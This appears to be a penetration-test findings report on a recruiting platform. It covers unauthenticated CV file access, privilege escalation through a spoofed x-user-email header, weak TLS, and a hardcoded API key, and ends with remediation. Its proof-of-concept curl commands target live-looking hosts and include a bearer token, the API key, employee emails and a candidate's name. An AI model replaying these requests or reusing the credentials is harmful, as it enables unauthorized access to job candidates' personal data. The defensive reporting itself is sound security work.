Assessment & Pentest Findings
Candidate CVs (resumes) containing highly sensitive personally identifiable information (PII) are stored in predictable folder directories and are served directly to the Internet without any session, authentication, or JWT token validation.
- Retrieve a candidate's file metadata (e.g. file name:
331897_ENG. Abanoub.pdfin threadreq_XEK6FK). - Construct the absolute static file URL path.
- Submit a GET request using a browser or curl without passing authorization/JWT tokens.
curl -I "https://ta-elsewedy-api.xyrisdigital.com/static/cvs/req_XEK6FK/331897_ENG.%20Abanoub.pdf"
A normal recruiter account can access administrative panel usage reports by passing a custom header x-user-email containing a valid administrator's email. The backend's authentication system incorrectly checks and trust this custom header for access authorization, overriding JWT privileges.
- Authenticate as a normal recruiter and extract the valid JWT token.
- Include an admin user's email inside the custom
x-user-emailheader. - Send a GET request to the restricted admin endpoint.
curl -X GET -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub3JtYWxfcmVjcnVpdGVyQGVsc3dlZHkuY29tIiwiZXhwIjoxNzc5MTA3MTU4fQ.8fGrdP6_Mjfwfn7UKUcupuk8FAxDzqAbDXS-QHegRGE" -H "x-api-key: 1234" -H "x-user-email: recruiter@elswedy.com" https://ta-elsewedy-api.xyrisdigital.com/api/v1/admin/usage-report
Recruiters can modify candidate hiring pipelines and trigger shortlist/rejection statuses for requisitions assigned to other users by spoofing the owner's email inside the custom x-user-email header.
- Generate a recruiter's active request body containing a target candidate ID.
- Include the actual requisition owner's email inside the
x-user-emailheader. - Send a POST request to edit candidate shortlisted status.
curl -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub3JtYWxfcmVjcnVpdGVyQGVsc3dlZHkuY29tIiwiZXhwIjoxNzc5MTA3MTU4fQ.8fGrdP6_Mjfwfn7UKUcupuk8FAxDzqAbDXS-QHegRGE" -H "x-api-key: 1234" -H "x-user-email: ahm.atef@elsewedy.com" -H "Content-Type: application/json" -d '{"candidate_id": "331897", "thread_id": "req_XEK6FK"}' https://ta-elsewedy-api.xyrisdigital.com/api/v1/talent/shortlist_candidate
Any recruiter can fetch full screening pipelines, score sheets, and AI evaluations belonging to other divisions' requisitions by including the managing recruiter's email in the custom x-user-email header.
- Formulate a POST request with the target thread ID (requisition ID).
- Include the thread owner's email in the custom header block.
- Fetch the full candidate listing.
curl -X POST -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub3JtYWxfcmVjcnVpdGVyQGVsc3dlZHkuY29tIiwiZXhwIjoxNzc5MTA3MTU4fQ.8fGrdP6_Mjfwfn7UKUcupuk8FAxDzqAbDXS-QHegRGE" -H "x-api-key: 1234" -H "x-user-email: shehab.elshabrawy@elsewedy.com" -H "Content-Type: application/json" -d '{"thread_id": "req_XR27KH"}' https://ta-elsewedy-api.xyrisdigital.com/api/v1/talent/get_screening_table
The target endpoints accept insecure 64-bit block ciphers (e.g. DES-CBC3-SHA) rendering them vulnerable to SWEET32 collision attacks. The hosts also support TLS 1.0 CBC cipher structures which makes them vulnerable to BEAST exploits. LUCKY13 is also a threat.
- Initiate a connection test using a local
testssl.shtoolkit. - Scan the targets and check the vulnerabilities flags output.
/root/Tools/testssl.sh/testssl.sh --quiet --color 0 -U --warnings=batch 188.114.96.3
The target web service permits handshake negotiations utilizing insecure cipher suites on port 8443 under older TLS versions:
[tls10 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA]
[tls11 TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA]
- Trigger a Nuclei scan using the
weak-cipher-suitestemplate. - Scan the endpoint on port 8443 and verify the extracted ciphers.
nuclei -t ssl/weak-cipher-suites.yaml -u https://ta-elsewedy.xyrisdigital.com:8443
Static analysis of the client-side JavaScript bundle (index.js) exposed the path structure of an internal AI LLM chatbot endpoint and a hardcoded static API key parameter (x-api-key: 1234) in local storage fetch functions (lr()).
- Download index.js and scan for common endpoint structures.
- Identify references to
chat/requisitionsand thex-api-keykey. - Construct a curl POST command utilizing the hardcoded credentials.
curl -X POST 'https://ta-elsewedy-api.xyrisdigital.com/api/v1/talent/chat/requisitions' -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJub3JtYWxfcmVjcnVpdGVyQGVsc3dlZHkuY29tIiwiZXhwIjoxNzc5MTA3MTU4fQ.8fGrdP6_Mjfwfn7UKUcupuk8FAxDzqAbDXS-QHegRGE" -H "x-api-key: 1234" -H "x-user-email: normal_recruter@elsewedy.com" -H "Content-Type: application/json" -d '{"message": "hello", "user_email": "normal_recruter@elsewedy.com"}'
The host permits connection handshakes using obsolete TLS 1.0 and TLS 1.1 protocols.
- Scan the endpoint using Nuclei's
deprecated-tlstemplate. - Verify output highlights active connections under TLS 1.0 or 1.1.
nuclei -t ssl/deprecated-tls.yaml -u https://ta-elsewedy.xyrisdigital.com:8443
Core Software Vulnerabilities (CVE Grid)
| CVE ID | Severity | CVSS Score | Affected Component | Vulnerability Description & Mitigation Roadmap |
|---|---|---|---|---|
| CVE-2023-44487 | 🟠 High | 7.5 | apple:swiftnio_http/2 |
HTTP/2 Rapid Reset Exploit: Allows high CPU denial of service attacks by sending successive HEADERS and RST_STREAM frames.
Mitigation: Upgrade SwiftNIO to the latest stable release. |
| CVE-2023-3766 | 🟡 Medium | 5.9 | cloudflare:odoh-rs |
Oblivious DNS-over-HTTPS cryptographic degradation: Potential tracking anomaly in Cloudflare's Oblivious DoH Rust component.
Mitigation: Update odoh-rs library references on DNS endpoints.
|
Infrastructure & DNS Profile
Strategic Remediation Roadmap
Restrict Static CV Access & Validate JWT Tokens
Enforce JWT authorization middleware on the /static/cvs/ directories. Restrict direct file calls by validating the requesting user's identity and active session token before returning any PDF candidate documents.
Fix x-user-email Header Spoofing & Patch HTTP/2 Rapid Reset
Decommission reliance on x-user-email header values across backend controllers. Secure user permissions by parsing sub claims directly from verified JWT signatures. Concurrently, upgrade all swiftnio_http/2 dependencies to remediate CVE-2023-44487.
Secure Disallowed Ciphers & TLS Versions
Modify TLS configurations to drop obsolete TLS 1.0, 1.1, and weak SWEET32/BEAST block ciphers on backend gateways and web services.